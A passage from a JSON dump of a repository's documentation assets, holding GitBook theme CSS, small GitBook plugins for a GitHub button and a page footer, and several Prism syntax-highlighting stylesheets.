color: #704214;\n  background: transparent;\n  font-weight: normal;\n}\n/*\n * Theme 2\n */\n.book.color-theme-2 .book-summary {\n  color: #bcc1d2;\n  background: #2d3143;\n  border-right: none;\n}\n.book.color-theme-2 .book-summary .book-search {\n  background: transparent;\n}\n.book.color-theme-2 .book-summary .book-search input,\n.book.color-theme-2 .book-summary .book-search input:focus {\n  border: 1px solid transparent;\n}\n.book.color-theme-2 .book-summary ul.summary li.divider {\n  background: #272a3a;\n  box-shadow: none;\n}\n.book.color-theme-2 .book-summary ul.summary li i.fa-check {\n  color: #33cc33;\n}\n.book.color-theme-2 .book-summary ul.summary li.done > a {\n  color: #62687f;\n}\n.book.color-theme-2 .book-summary ul.summary li a,\n.book.color-theme-2 .book-summary ul.summary li span {\n  color: #c1c6d7;\n  background: transparent;\n  font-weight: 600;\n}\n.book.color-theme-2 .book-summary ul.summary li.active > a,\n.book.color-theme-2 .book-summary ul.summary li a:hover {\n  color: #f4f4f5;\n  background: #252737;\n  font-weight: 600;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-github/plugin.js",
    "content": "require([ 'gitbook' ], function (gitbook) {\n    gitbook.events.bind('start', function (e, config) {\n        var githubURL = config.github.url;\n\n        gitbook.toolbar.createButton({\n            icon: 'fa fa-github',\n            label: 'GitHub',\n            position: 'right',\n            onClick: function() {\n                window.open(githubURL)\n            }\n        });\n    });\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-page-footer-ex/lib/plugin.js",
    "content": "module.exports = function(book, page) {\r\n    /**\r\n     * 在package.json中配置的默认值，这里可以直接使用\r\n     * [config: config option]\r\n     * @type {Object}\r\n     */\r\n    var config = book.config.get('pluginsConfig')['page-footer-ex'];\r\n\r\n    var wrapIfMarkdown = function(input) {\r\n        if (!config.markdown) {\r\n            return input;\r\n        } else {\r\n            return book.renderInline('markdown', input);\r\n        }\r\n    }\r\n    // Gitbook Markdown rendering is asynchronous.\r\n    return Promise.all([wrapIfMarkdown(config.copyright), wrapIfMarkdown(config.update_label)])\r\n        .then(function(labels) {\r\n            var copyright = labels[0];\r\n            var updateLabel = labels[1];\r\n            page.content += '\\n\\n' + [\r\n                '<footer class=\"page-footer-ex\">',\r\n                    '<span class=\"page-footer-ex-copyright\">',\r\n                        copyright,\r\n                    '</span>',\r\n                    '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;',\r\n                    '<span class=\"page-footer-ex-footer-update\">',\r\n                        updateLabel,\r\n                        '{{ file.mtime | dateFormat(\"' + config.update_format + '\") }}',\r\n                    '</span>',\r\n                '</footer>'\r\n            ].join(' ');\r\n            return page;\r\n        });\r\n}\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-page-footer-ex/style/plugin.css",
    "content": ".page-footer-ex {\r\n    margin-top: 50px;\r\n    border-top: 1px solid #ccc;\r\n    overflow: hidden;\r\n    padding: 10px 0;\r\n    font-size: 12px;\r\n    color: #808080;\r\n}\r\n.page-footer-ex-copyright {\r\n    display: inline-block;\r\n}\r\n.page-footer-ex a {\r\n    color: #808080 !important;\r\n    text-decoration: underline !important;\r\n}\r\n.page-footer-ex-footer-update {\r\n    float: right;\r\n    display: inline-block;\r\n}"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-coy.css",
    "content": "/**\n * prism.js Coy theme for JavaScript, CoffeeScript, CSS and HTML\n * Based on https://github.com/tshedor/workshop-wp-theme (Example: http://workshop.kansan.com/category/sessions/basics or http://workshop.timshedor.com/category/sessions/basics);\n * @author Tim  Shedor\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: black;\n\tbackground: none;\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tposition: relative;\n\tmargin: .5em 0;\n\toverflow: visible;\n\tpadding: 0;\n}\npre[class*=\"language-\"]>code {\n\tposition: relative;\n\tborder-left: 10px solid #358ccb;\n\tbox-shadow: -1px 0px 0px 0px #358ccb, 0px 0px 0px 1px #dfdfdf;\n\tbackground-color: #fdfdfd;\n\tbackground-image: linear-gradient(transparent 50%, rgba(69, 142, 209, 0.04) 50%);\n\tbackground-size: 3em 3em;\n\tbackground-origin: content-box;\n\tbackground-attachment: local;\n}\n\ncode[class*=\"language\"] {\n\tmax-height: inherit;\n\theight: inherit;\n\tpadding: 0 1em;\n\tdisplay: block;\n\toverflow: auto;\n}\n\n/* Margin bottom to accommodate shadow */\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tbackground-color: #fdfdfd;\n\t-webkit-box-sizing: border-box;\n\t-moz-box-sizing: border-box;\n\tbox-sizing: border-box;\n\tmargin-bottom: 1em;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tposition: relative;\n\tpadding: .2em;\n\tborder-radius: 0.3em;\n\tcolor: #c92c2c;\n\tborder: 1px solid rgba(0, 0, 0, 0.1);\n\tdisplay: inline;\n\twhite-space: normal;\n}\n\npre[class*=\"language-\"]:before,\npre[class*=\"language-\"]:after {\n\tcontent: '';\n\tz-index: -2;\n\tdisplay: block;\n\tposition: absolute;\n\tbottom: 0.75em;\n\tleft: 0.18em;\n\twidth: 40%;\n\theight: 20%;\n\tmax-height: 13em;\n\tbox-shadow: 0px 13px 8px #979797;\n\t-webkit-transform: rotate(-2deg);\n\t-moz-transform: rotate(-2deg);\n\t-ms-transform: rotate(-2deg);\n\t-o-transform: rotate(-2deg);\n\ttransform: rotate(-2deg);\n}\n\n:not(pre) > code[class*=\"language-\"]:after,\npre[class*=\"language-\"]:after {\n\tright: 0.75em;\n\tleft: auto;\n\t-webkit-transform: rotate(2deg);\n\t-moz-transform: rotate(2deg);\n\t-ms-transform: rotate(2deg);\n\t-o-transform: rotate(2deg);\n\ttransform: rotate(2deg);\n}\n\n.token.comment,\n.token.block-comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: #7D8B99;\n}\n\n.token.punctuation {\n\tcolor: #5F6364;\n}\n\n.token.property,\n.token.tag,\n.token.boolean,\n.token.number,\n.token.function-name,\n.token.constant,\n.token.symbol,\n.token.deleted {\n\tcolor: #c92c2c;\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.function,\n.token.builtin,\n.token.inserted {\n\tcolor: #2f9c0a;\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.token.variable {\n\tcolor: #a67f59;\n\tbackground: rgba(255, 255, 255, 0.5);\n}\n\n.token.atrule,\n.token.attr-value,\n.token.keyword,\n.token.class-name {\n\tcolor: #1990b8;\n}\n\n.token.regex,\n.token.important {\n\tcolor: #e90;\n}\n\n.language-css .token.string,\n.style .token.string {\n\tcolor: #a67f59;\n\tbackground: rgba(255, 255, 255, 0.5);\n}\n\n.token.important {\n\tfont-weight: normal;\n}\n\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n@media screen and (max-width: 767px) {\n\tpre[class*=\"language-\"]:before,\n\tpre[class*=\"language-\"]:after {\n\t\tbottom: 14px;\n\t\tbox-shadow: none;\n\t}\n\n}\n\n/* Plugin styles */\n.token.tab:not(:empty):before,\n.token.cr:before,\n.token.lf:before {\n\tcolor: #e0d7d1;\n}\n\n/* Plugin styles: Line Numbers */\npre[class*=\"language-\"].line-numbers.line-numbers {\n\tpadding-left: 0;\n}\n\npre[class*=\"language-\"].line-numbers.line-numbers code {\n\tpadding-left: 3.8em;\n}\n\npre[class*=\"language-\"].line-numbers.line-numbers .line-numbers-rows {\n\tleft: 0;\n}\n\n/* Plugin styles: Line Highlight */\npre[class*=\"language-\"][data-line] {\n\tpadding-top: 0;\n\tpadding-bottom: 0;\n\tpadding-left: 0;\n}\npre[data-line] code {\n\tposition: relative;\n\tpadding-left: 4em;\n}\npre .line-highlight {\n\tmargin-top: 0;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-dark.css",
    "content": "/**\n * prism.js Dark theme for JavaScript, CSS and HTML\n * Based on the slides of the talk “/Reg(exp){2}lained/”\n * @author Lea Verou\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: white;\n\tbackground: none;\n\ttext-shadow: 0 -.1em .2em black;\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\n@media print {\n\tcode[class*=\"language-\"],\n\tpre[class*=\"language-\"] {\n\t\ttext-shadow: none;\n\t}\n}\n\npre[class*=\"language-\"],\n:not(pre) > code[class*=\"language-\"] {\n\tbackground: hsl(30, 20%, 25%);\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: 1em;\n\tmargin: .5em 0;\n\toverflow: auto;\n\tborder: .3em solid hsl(30, 20%, 40%);\n\tborder-radius: .5em;\n\tbox-shadow: 1px 1px .5em black inset;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .15em .2em .05em;\n\tborder-radius: .3em;\n\tborder: .13em solid hsl(30, 20%, 40%);\n\tbox-shadow: 1px 1px .3em -.1em black inset;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: hsl(30, 20%, 50%);\n}\n\n.token.punctuation {\n\topacity: .7;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.property,\n.token.tag,\n.token.boolean,\n.token.number,\n.token.constant,\n.token.symbol {\n\tcolor: hsl(350, 40%, 70%);\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.inserted {\n\tcolor: hsl(75, 70%, 60%);\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.style .token.string,\n.token.variable {\n\tcolor: hsl(40, 90%, 60%);\n}\n\n.token.atrule,\n.token.attr-value,\n.token.keyword {\n\tcolor: hsl(350, 40%, 70%);\n}\n\n.token.regex,\n.token.important {\n\tcolor: #e90;\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n\n.token.deleted {\n\tcolor: red;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-funky.css",
    "content": "/**\n * prism.js Funky theme\n * Based on “Polyfilling the gaps” talk slides http://lea.verou.me/polyfilling-the-gaps/\n * @author Lea Verou\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: .4em .8em;\n\tmargin: .5em 0;\n\toverflow: auto;\n\tbackground: url('data:image/svg+xml;charset=utf-8,<svg%20version%3D\"1.1\"%20xmlns%3D\"http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg\"%20width%3D\"100\"%20height%3D\"100\"%20fill%3D\"rgba(0%2C0%2C0%2C.2)\">%0D%0A<polygon%20points%3D\"0%2C50%2050%2C0%200%2C0\"%20%2F>%0D%0A<polygon%20points%3D\"0%2C100%2050%2C100%20100%2C50%20100%2C0\"%20%2F>%0D%0A<%2Fsvg>');\n\tbackground-size: 1em 1em;\n}\n\ncode[class*=\"language-\"] {\n\tbackground: black;\n\tcolor: white;\n\tbox-shadow: -.3em 0 0 .3em black, .3em 0 0 .3em black;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .2em;\n\tborder-radius: .3em;\n\tbox-shadow: none;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: #aaa;\n}\n\n.token.punctuation {\n\tcolor: #999;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.property,\n.token.tag,\n.token.boolean,\n.token.number,\n.token.constant,\n.token.symbol {\n\tcolor: #0cf;\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin {\n\tcolor: yellow;\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.toke.variable,\n.token.inserted {\n\tcolor: yellowgreen;\n}\n\n.token.atrule,\n.token.attr-value,\n.token.keyword {\n\tcolor: deeppink;\n}\n\n.token.regex,\n.token.important {\n\tcolor: orange;\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n\n.token.deleted {\n\tcolor: red;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-okaidia.css",
    "content": "/**\n * okaidia theme for JavaScript, CSS and HTML\n * Loosely based on Monokai textmate theme by http://www.monokai.nl/\n * @author ocodia\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: #f8f8f2;\n\tbackground: none;\n\ttext-shadow: 0 1px rgba(0, 0, 0, 0.3);\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: 1em;\n\tmargin: .5em 0;\n\toverflow: auto;\n\tborder-radius: 0.3em;\n}\n\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tbackground: #272822;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .1em;\n\tborder-radius: .3em;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: slategray;\n}\n\n.token.punctuation {\n\tcolor: #f8f8f2;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.property,\n.token.tag,\n.token.constant,\n.token.symbol,\n.token.deleted {\n\tcolor: #f92672;\n}\n\n.token.boolean,\n.token.number {\n\tcolor: #ae81ff;\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.inserted {\n\tcolor: #a6e22e;\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.style .token.string,\n.token.variable {\n\tcolor: #f8f8f2;\n}\n\n.token.atrule,\n.token.attr-value,\n.token.function,\n.token.class-name {\n\tcolor: #e6db74;\n}\n\n.token.keyword {\n\tcolor: #66d9ef;\n}\n\n.token.regex,\n.token.important {\n\tcolor: #fd971f;\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-solarizedlight.css",
    "content": "/*\n Solarized Color Schemes originally by Ethan Schoonover\n http://ethanschoonover.com/solarized\n\n Ported for PrismJS by Hector Matos\n Website: https://krakendev.io\n Twitter Handle: https://twitter.com/allonsykraken)\n*/\n\n/*\nSOLARIZED HEX\n--------- -------\nbase03    #002b36\nbase02    #073642\nbase01    #586e75\nbase00    #657b83\nbase0     #839496\nbase1     #93a1a1\nbase2     #eee8d5\nbase3     #fdf6e3\nyellow    #b58900\norange    #cb4b16\nred       #dc322f\nmagenta   #d33682\nviolet    #6c71c4\nblue      #268bd2\ncyan      #2aa198\ngreen     #859900\n*/\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: #657b83; /* base00 */\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\npre[class*=\"language-\"]::-moz-selection, pre[class*=\"language-\"] ::-moz-selection,\ncode[class*=\"language-\"]::-moz-selection, code[class*=\"language-\"] ::-moz-selection {\n\tbackground: #073642; /* base02 */\n}\n\npre[class*=\"language-\"]::selection, pre[class*=\"language-\"] ::selection,\ncode[class*=\"language-\"]::selection, code[class*=\"language-\"] ::selection {\n\tbackground: #073642; /* base02 */\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: 1em;\n\tmargin: .5em 0;\n\toverflow: auto;\n\tborder-radius: 0.3em;\n}\n\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tbackground-color: #fdf6e3; /* base3 */\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .1em;\n\tborder-radius: .3em;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: #93a1a1; /* base1 */\n}\n\n.token.punctuation {\n\tcolor: #586e75; /* base01 */\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.property,\n.token.tag,\n.token.boolean,\n.token.number,\n.token.constant,\n.token.symbol,\n.token.deleted {\n\tcolor: #268bd2; /* blue */\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.url,\n.token.inserted {\n\tcolor: #2aa198; /* cyan */\n}\n\n.token.entity {\n\tcolor: #657b83; /* base00 */\n\tbackground: #eee8d5; /* base2 */\n}\n\n.token.atrule,\n.token.attr-value,\n.token.keyword {\n\tcolor: #859900; /* green */\n}\n\n.token.function,\n.token.class-name {\n\tcolor: #b58900; /* yellow */\n}\n\n.token.regex,\n.token.important,\n.token.variable {\n\tcolor: #cb4b16; /* orange */\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-tomorrow.css",
    "content": "/**\n * prism.js tomorrow night eighties for JavaScript, CoffeeScript, CSS and HTML\n * Based on https://github.com/chriskempson/tomorrow-theme\n * @author Rose Pritchard\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: #ccc;\n\tbackground: none;\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: 1em;\n\tmargin: .5em 0;\n\toverflow: auto;\n}\n\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tbackground: #2d2d2d;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .1em;\n\tborder-radius: .3em;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.block-comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: #999;\n}\n\n.token.punctuation {\n\tcolor: #ccc;\n}\n\n.token.tag,\n.token.attr-name,\n.token.namespace,\n.token.deleted {\n\tcolor: #e2777a;\n}\n\n.token.function-name {\n\tcolor: #6196cc;\n}\n\n.token.boolean,\n.token.number,\n.token.function {\n\tcolor: #f08d49;\n}\n\n.token.property,\n.token.class-name,\n.token.constant,\n.token.symbol {\n\tcolor: #f8c555;\n}\n\n.token.selector,\n.token.important,\n.token.atrule,\n.token.keyword,\n.token.builtin {\n\tcolor: #cc99cd;\n}\n\n.token.string,\n.token.char,\n.token.attr-value,\n.token.regex,\n.token.variable {\n\tcolor: #7ec699;\n}\n\n.token.operator,\n.token.entity,\n.token.url {\n\tcolor: #67cdcc;\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n\n.token.inserted {\n\tcolor: green;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism-twilight.css",
    "content": "/**\n * prism.js Twilight theme\n * Based (more or less) on the Twilight theme originally of Textmate fame.\n * @author Remy Bach\n */\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: white;\n\tbackground: none;\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\ttext-shadow: 0 -.1em .2em black;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\npre[class*=\"language-\"],\n:not(pre) > code[class*=\"language-\"] {\n\tbackground: hsl(0, 0%, 8%); /* #141414 */\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tborder-radius: .5em;\n\tborder: .3em solid hsl(0, 0%, 33%); /* #282A2B */\n\tbox-shadow: 1px 1px .5em black inset;\n\tmargin: .5em 0;\n\toverflow: auto;\n\tpadding: 1em;\n}\n\npre[class*=\"language-\"]::-moz-selection {\n\t/* Firefox */\n\tbackground: hsl(200, 4%, 16%); /* #282A2B */\n}\n\npre[class*=\"language-\"]::selection {\n\t/* Safari */\n\tbackground: hsl(200, 4%, 16%); /* #282A2B */\n}\n\n/* Text Selection colour */\npre[class*=\"language-\"]::-moz-selection, pre[class*=\"language-\"] ::-moz-selection,\ncode[class*=\"language-\"]::-moz-selection, code[class*=\"language-\"] ::-moz-selection {\n\ttext-shadow: none;\n\tbackground: hsla(0, 0%, 93%, 0.15); /* #EDEDED */\n}\n\npre[class*=\"language-\"]::selection, pre[class*=\"language-\"] ::selection,\ncode[class*=\"language-\"]::selection, code[class*=\"language-\"] ::selection {\n\ttext-shadow: none;\n\tbackground: hsla(0, 0%, 93%, 0.15); /* #EDEDED */\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tborder-radius: .3em;\n\tborder: .13em solid hsl(0, 0%, 33%); /* #545454 */\n\tbox-shadow: 1px 1px .3em -.1em black inset;\n\tpadding: .15em .2em .05em;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: hsl(0, 0%, 47%); /* #777777 */\n}\n\n.token.punctuation {\n\topacity: .7;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.tag,\n.token.boolean,\n.token.number,\n.token.deleted {\n\tcolor: hsl(14, 58%, 55%); /* #CF6A4C */\n}\n\n.token.keyword,\n.token.property,\n.token.selector,\n.token.constant,\n.token.symbol,\n.token.builtin {\n\tcolor: hsl(53, 89%, 79%); /* #F9EE98 */\n}\n\n.token.attr-name,\n.token.attr-value,\n.token.string,\n.token.char,\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.style .token.string,\n.token.variable,\n.token.inserted {\n\tcolor: hsl(76, 21%, 52%); /* #8F9D6A */\n}\n\n.token.atrule {\n\tcolor: hsl(218, 22%, 55%); /* #7587A6 */\n}\n\n.token.regex,\n.token.important {\n\tcolor: hsl(42, 75%, 65%); /* #E9C062 */\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n\npre[data-line] {\n\tpadding: 1em 0 1em 3em;\n\tposition: relative;\n}\n\n/* Markup */\n.language-markup .token.tag,\n.language-markup .token.attr-name,\n.language-markup .token.punctuation {\n\tcolor: hsl(33, 33%, 52%); /* #AC885B */\n}\n\n/* Make the tokens sit above the line highlight so the colours don't look faded. */\n.token {\n\tposition: relative;\n\tz-index: 1;\n}\n\n.line-highlight {\n\tbackground: hsla(0, 0%, 33%, 0.25); /* #545454 */\n\tbackground: linear-gradient(to right, hsla(0, 0%, 33%, .1) 70%, hsla(0, 0%, 33%, 0)); /* #545454 */\n\tborder-bottom: 1px dashed hsl(0, 0%, 33%); /* #545454 */\n\tborder-top: 1px dashed hsl(0, 0%, 33%); /* #545454 */\n\tleft: 0;\n\tline-height: inherit;\n\tmargin-top: 0.75em; /* Same as .prism’s padding-top */\n\tpadding: inherit 0;\n\tpointer-events: none;\n\tposition: absolute;\n\tright: 0;\n\twhite-space: pre;\n\tz-index: 0;\n}\n\n.line-highlight:before,\n.line-highlight[data-end]:after {\n\tbackground-color: hsl(215, 15%, 59%); /* #8794A6 */\n\tborder-radius: 999px;\n\tbox-shadow: 0 1px white;\n\tcolor: hsl(24, 20%, 95%); /* #F5F2F0 */\n\tcontent: attr(data-start);\n\tfont: bold 65%/1.5 sans-serif;\n\tleft: .6em;\n\tmin-width: 1em;\n\tpadding: 0 .5em;\n\tposition: absolute;\n\ttext-align: center;\n\ttext-shadow: none;\n\ttop: .4em;\n\tvertical-align: .3em;\n}\n\n.line-highlight[data-end]:after {\n\tbottom: .4em;\n\tcontent: attr(data-end);\n\ttop: auto;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-prism/prism.css",
    "content": "/**\n * prism.js default theme for JavaScript, CSS and HTML\n * Based on dabblet (http://dabblet.com)\n * @author Lea Verou\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: black;\n\tbackground: none;\n\ttext-shadow: 0 1px white;\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\tfont-size: 1em;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\npre[class*=\"language-\"]::-moz-selection, pre[class*=\"language-\"] ::-moz-selection,\ncode[class*=\"language-\"]::-moz-selection, code[class*=\"language-\"] ::-moz-selection {\n\ttext-shadow: none;\n\tbackground: #b3d4fc;\n}\n\npre[class*=\"language-\"]::selection, pre[class*=\"language-\"] ::selection,\ncode[class*=\"language-\"]::selection, code[class*=\"language-\"] ::selection {\n\ttext-shadow: none;\n\tbackground: #b3d4fc;\n}\n\n@media print {\n\tcode[class*=\"language-\"],\n\tpre[class*=\"language-\"] {\n\t\ttext-shadow: none;\n\t}\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: 1em;\n\tmargin: .5em 0;\n\toverflow: auto;\n}\n\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tbackground: #f5f2f0;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .1em;\n\tborder-radius: .3em;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: slategray;\n}\n\n.token.punctuation {\n\tcolor: #999;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.property,\n.token.tag,\n.token.boolean,\n.token.number,\n.token.constant,\n.token.symbol,\n.token.deleted {\n\tcolor: #905;\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.inserted {\n\tcolor: #690;\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.style .token.string {\n\tcolor: #9a6e3a;\n\tbackground: hsla(0, 0%, 100%, .5);\n}\n\n.token.atrule,\n.token.attr-value,\n.token.keyword {\n\tcolor: #07a;\n}\n\n.token.function,\n.token.class-name {\n\tcolor: #DD4A68;\n}\n\n.token.regex,\n.token.important,\n.token.variable {\n\tcolor: #e90;\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-search-plus/search.css",
